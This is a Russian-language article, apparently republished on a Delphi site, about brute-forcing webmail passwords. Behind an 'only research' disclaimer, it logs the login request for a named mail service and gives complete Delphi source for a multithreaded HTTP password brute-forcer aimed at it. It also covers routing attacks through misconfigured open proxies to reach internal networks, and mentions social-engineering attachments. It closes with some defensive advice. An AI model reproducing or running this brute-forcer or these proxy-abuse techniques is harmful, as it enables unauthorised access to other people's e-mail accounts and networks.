На улице стоит маленький мальчик и громко плачет. Подходит к нему мент:
- Чего плачешь, малыш?
- Я потеря-я-ялся...
- А адрес свой знаешь?
- Да-а-а. asd.ddd.lpo.net!..
- А, мать твою! Это ж где? А хоть имя свое знаешь?
- Administra-a-a-ator...
Продолжение статьи по ПОПЫТКАМ взлома мыла. Для тех, кто в бронепоезде (крупными буквами): Я НЕ ПИШУ КАК ВЗЛАМЫВАТЬ МЫЛО. Я ЗАНИМАЮСЬ ИССЛЕДОВАНИЯМИ, ДЕЛЮСЬ НЕКОТОРЫМИ ПРИЕМАМИ КОДИНГА И ПРИКАЛЫВАЮСЬ НАД ОДНОЙ ТЕМОЙ В ФОРУМЕ (см. первую статью). Это мое личное право. Стандатной программы по взлому мыла с одной кнопкой "Hack it" не бывает. Есть человеческий фактор, который можно использовать. Попытка взлома мыла - это пару часов и чуть-чуть подождать. Самый лучший метод - социальная инженерия. Писать письма с определенным сообщением, с атачами, подходящими под это сообщение. А не так, как мне один виры уже 2 месяца шлет. Размер - 130 кило. Без комментариев. Задолбался уже в диспечере писем на кнопку "переименовать и удалить" жать, а поставщику его инет услуг написать облом. Скажу сразу обо всех описанных способах - если сразу не получилось, то lim(100)% уже и не получится. Только трата времени и инет-ресурсов. Это были основные выводы по мылу. Эти статьи предоставляют интерес (по моему мнению) с точки зрения исследований и приемов кодинга. А что таким образом исследовать и сканировать - умный человек найдет. Это основные выводы по статьям. Продолжим.
HTTP - сервис. 80 порт (чаще всего). Для написания проги, нам понадобятся дополнительные инструменты для ведения логов некоторых запросов. Это port-mapper или tcp-logger. Программы, способные вести лог запросов по выбранному протоколу. Почему не сниффер? Потому, что забивать гвозди микроскопом не удобно. Для прослушки порта можно взять xspider, по port-mapper есть хорошая статья на http://www.uinc.ru/index.html, tcp-logger с исходниками можно взять там же. Tcp-logger - это как бы локальный прокси (в броузере надо вписать в поле прокси наш адрес и порт, на котором стоит прога), который получает пакеты от клиента, записывает их в лог и отсылает другому прокси в цепочке. Тот запрашивает сервер и возвращает ответы нам. tcp-logger получает их, опять пишет лог и передает клиенту. Как и обещал, будем исследовать mail.xakep.ru. Заходим броузером. Видим поля для ввода имени и пароля. Естественно, после ввода данных, будет сформирован и отослан url, содержащий эти данные. Включаем tcp-logger. Вот лог запроса на вход:
GET http://mail.xakep.ru/cgi-bin/mail?username=USER&domain=xakep.ru &password=PASSWORD&submit=%C7%E0%E9%F2%E8+%E2+%FF%F9%E8%EA HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/pdf, */*
Accept-Language: ru
User-Agent: Mozilla/9.0 (compatible; MSIE 9.0; Windows NT 8.0; qwerty)
Host: mail.xakep.ru
Proxy-Connection: Keep-Alive
Для сканера-брутфорсера, нам нужно найти отличие ответов сервера на правильный пароль и не правильный. Для этого надо их ввести. На правильный пароль ответ:
HTTP/1.0 200 OK
Date: Fue, 32 May 2002 08:11:01 GMT
Server: Apache
Cache-Control: no-store
Content-Language: en-us
Pragma: no-cache
Vary: Accept-Language
Content-Type: text/html; charset=windows-1251
X-Cache: MISS from proxy.proxy.proxy
Proxy-Connection: close
<HTML>
<HEAD>
SKIP
Вот лог ответа на неправильный пароль:
HTTP/1.0 200 OK
Date: Fue, 32 May 2002 08:11:58 GMT
Server: Apache
Cache-Control: no-store
Content-Language: en-us
Pragma: no-cache
Vary: Accept-Language
Content-Type: text/html; charset=windows-1251
X-Cache: MISS from proxy.proxy.proxy
Proxy-Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
SKIP
Таким образом, для того, чтобы сравнить отличие ответов, надо получить всего около 300 байт (в неправильном пароле есть , в правильном его нет). Брутфорсер будет очень похож на cgi-scaner и брутфорсер для запароленных ресурсов, с дной только разницей, что сравнивать мы будем не первые строки с ответом 200 или 500, а несколько больший кусок данных. По сравнению с брутфорсом для POP3, этот имеет ряд преимуществ:
Не надо на каждый запрос инициализировать сокет. Разрыв соединения при неправильном пароле не происходит, поэтому его можно инициализировать только на каждый процесс.
Надо послать один запрос и получить один ответ, а не три.
Можно использовать стандартный прокси.
Итак, Опять делаем новое приложение, новое окно, кнопку и ProgreesBar. Вот исходники HTTP-брутфорсера:
unit Unit1;
interfaceuses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, StdCtrls, WinSock;
type
TForm1 = class(TForm)
Button1: TButton;
ProgressBar1: TProgressBar;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private{ Private declarations }public{ Public declarations }end;
// Описание процессаtype
TScan = class(TThread)
sock2: TSocket;
addr: TSockAddrIn;
WSAData: TWSAData;
privateprocedure CScan;
protectedprocedure Execute; override;
end;
var
Form1: TForm1;
// Массив процессов
Sock : array[1..255] of TScan;
Rez : boolean = false;
// Кол-во запущенных процессов на данный момент
I0 : Integer;
// Номер текущего пароля
I : Integer;
// TStringGrid-ы с паролями и с логом
PassList, DopList1 : TStringList;
const
FilePass = 'pass.txt'; // Файл с паролями в каталоге проги
ProcCount = 10; // кол-во процессов// Адрес прокси через который будет сканирование.// Лучше отпинговать сначала
HTTPserv = 'proxy.address.net';
User = 'USER';
implementation// Для преобразование имениtype
TaPInAddr = array [0..255] of PInAddr;
PaPInAddr = ^TaPInAddr;
{$R *.DFM}procedure TForm1.FormCreate(Sender: TObject);
begin
PassList:=TStringList.Create;
DopList1:=TStringList.Create;
end;
// Запуск / Остановкаprocedure TForm1.Button1Click(Sender: TObject);
var
J0 : Integer;
beginif Rez thenbegin
Rez:=false;
for J0:=1 to I0 dotry
Sock[J0].Terminate;
exceptend;
endelsebegin// Открытие и загрузка файла паролейtry
PassList.Clear;
PassList.LoadFromFile(FilePass);
exceptend;
if PassList.Count<=0 thenbegin
Application.MessageBox('Файл паролей не найден или его нельзя использовать', 'ERROR', mb_Ok);
exit;
end;
Form1.Button1.Caption:='Stop';
Form1.ProgressBar1.Position:=0;
// Кол-во паролей
Form1.ProgressBar1.Max:=PassList.Count;
Application.ProcessMessages;
I:=0;
I0:=1;
Rez:=true;
// Запустить все процессыwhile true dobegin
Sock[I0]:=TScan.Create(false);
inc(I0); // Подсчитать их кол-во//Выйти если больше указанного, или стоп, или подобралиif (I0>ProcCount)or(not Rez) then
break;
if I0 mod 100 = 0 then
DopList1.Text:=IntToStr(I0);
end;
end;
end;
// Инициализация процессаprocedure TScan.Execute;
var
iaddr, x0 : Integer;
ph : PHostEnt;
pptr : PaPInAddr;
InAddr : TInAddr;
begintry// Инициализация сокета
WSAStartUp(257, WSAData);
sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if sock2=INVALID_SOCKET thenbegintry
closesocket(sock2);
exceptend;
try
Terminate;
exceptend;
exit;
end;
// Получение адреса
iaddr := inet_addr(HTTPserv);
if iaddr <=0 thenbegin// Если имя, а не IP
ph := gethostbyname(HTTPserv);
if ph = nilthenbegintry
closesocket(sock2);
exceptend;
try
Terminate;
exceptend;
exit;
end;
pptr := PaPInAddr(ph^.h_addr_list);
x0 := 0;
while pptr^[x0] <> nildobegin
InAddr:= pptr^[x0]^;
inc(x0);
addr.sin_addr:=inaddr;
addr.sin_family := AF_INET;
// Порт прокси - 80, 3128, 80808 и т.п.
addr.sin_port := htons(80);
if (connect(sock2, addr, sizeof(addr))) = 0 then
break
end;
endelsebegin// Если IP
addr.sin_addr.S_addr:=iaddr;
addr.sin_family := AF_INET;
// Порт прокси - 80, 3128, 80808 и т.п.
addr.sin_port := htons(80);
addr.sin_family := AF_INET;
if (connect(sock2, addr, sizeof(addr))) > 0 thenbegintry
closesocket(sock2);
exceptend;
try
Terminate;
exceptend;
exit;
end;
end;
// Запуск циклаwhile true dobegin
CScan;
if (not Rez)or(I>=PassList.Count) then
break;
end;
exceptend;
dec(I0);
try
Terminate;
exceptend;
// Если отмена, закончился список или подобралиif I0<=1 thenbegin
Form1.Button1.Caption:='Hack it';
Rez:=false;
Application.ProcessMessages;
DopList1.SaveToFile('log.txt');
end;
end;
// Процедура сканированияprocedure TScan.CScan;
var
x, I2 : Integer;
Buf : string;
begin
I2:=I;
inc(I);
Form1.ProgressBar1.Position:=I2+1;
Application.ProcessMessages;
try// Формирование url
Buf:='GET http://mail.xakep.ru/cgi-bin/mail?username='+User+'&domain=xakep.ru&password='+ PassList.Strings[I2]+'&submit=%C7%E0%E9%F2%E8+%E2+%FF%F9%E8%EA HTTP/1.0';
// Отправка данных
send(sock2,Buf[1],length(Buf),0);
// Получение 300 байт
setlength(Buf,300);
x:=recv(sock2,Buf[1],300,0);
if x<300 then
exit;
setlength(Buf,300);
// Если подобралиif pos(Buf,'<!D')<=0 then// ???begin
Rez:=false;
DopList1.Text:='Pass = '+PassList.Strings[I2];
Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok);
exit;
end;
exceptend;
end;
end.
Такая конструкция будет достаточно быстро работать. Правда, недостаточно быстро для ОЧЕНЬ БОЛЬШИХ файлов с паролями или прямого перебора. Но, само описание и приемы подходят не только для мыла, но и для других HTTP-сервисов. Различные чаты, форумы и т.д. и т.п. Он достаточно просто переделывается в cgi-scaner и в брутфорсер перебора пароля на закрытые на сервере ресурсы.
Анонимность. Прокси. Для HTTP брутфорсера - уже написано. Надо при инициализации сокета, использовать адрес и порт прокси. Для POP3 и прочего: надо юзать SOCKS-proxies. Всю информацию по использованию и настройке можно почитать здесь.
Публичные прокси. Например, есть некоторая локальная сеть, из которой осуществляется выход в инет. На сервере стоит прокси сервер для того, чтобы все в локалке могли открывать сайты, получать почту и т.д. и т.п. Как это не странно, но очень многие забывают поставить соответствующий доступ к этому прокси. Т.к. практически все такие прокси поддерживают получение почты, телнет, HTTP, то сформировав запрос соответствующим образом, можно делать практически все. Не говоря уже о запуске брутфорсеров и т.п. через этот прокси, можно получать доступ ко всей локальной сетке. Обратным адресом будет адрес сервера с прокси. Об этом мало говорят, но такие сервера есть и их не так и мало. Таким образом, можно применяя технологию спуфинга, получать мыло у прова с уровнем безопасности из первой статьи (получение почты только при выходе в инет через них). В общем, вариантов использования очень много.
Подведем итоги по безопасности:
Если пароль на мыло указать не менее 8-ми случайных цифр и больших, маленьких букв, то подобрать пароль практически невозможно. Используя любой из описанных вариантов. Кол-во возможных вариантов ОЧЕНЬ большое. Это же касается и "Забыл пароль". Для параноиков - его можно менять раз в неделю/месяц.
Не пользоваться броузером при получении писем. На всякий случай. Или использовать оперу без установленных сервисов поддержки Java.
Не отвечать на подозрительные письма. Лучше быть невежливым, чем... Если есть малейшее подозрение, можешь не сомневаться - это атака на мыло.
Отключить в e-mail клиенте автопросмотр html и не пользоваться аутглюком. Есть другие предложения на этом рынке. А ему запретить в firewall вообще куда-либо доступ.
Хороший firewall, не только со стандартными функциями и ограничением показа баннеров, но и с автоматическим переименованием приатаченных файлов с выбранными расширениями.
Нужно почаще получать письма и удалять их на сервере. Даже если пароль подобран, для чтения писем, атакующему придется очень часто их получать и админ рано или поздно это заметит.
Все это бесполезно, при грамотном осуществлении 3-его способа (см. первую статью).
P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.
Взлом E-mail: опыт и результаты. Для тех, кто в бронепоезде (крупными буквами): Я НЕ ПИШУ КАК ВЗЛАМЫВАТЬ МЫЛО. Я ЗАНИМАЮСЬ ИССЛЕДОВАНИЯМИ, ДЕЛЮСЬ НЕКОТОРЫМИ ПРИЕМАМИ КОДИНГА И ПРИКАЛЫВАЮСь НАД ОДНОЙ ТЕМОЙ В ФОРУМЕ (см. первую статью). Это мое личное право
Комментарии и вопросы
Получайте свежие новости и обновления по Object Pascal, Delphi и Lazarus прямо в свой смартфон. Подпишитесь на наш Telegram-канал delphi_kansoftware и будьте в курсе последних тенденций в разработке под Linux, Windows, Android и iOS
Материалы статей собраны из открытых источников, владелец сайта не претендует на авторство. Там где авторство установить не удалось, материал подаётся без имени автора. В случае если Вы считаете, что Ваши права нарушены, пожалуйста, свяжитесь с владельцем сайта.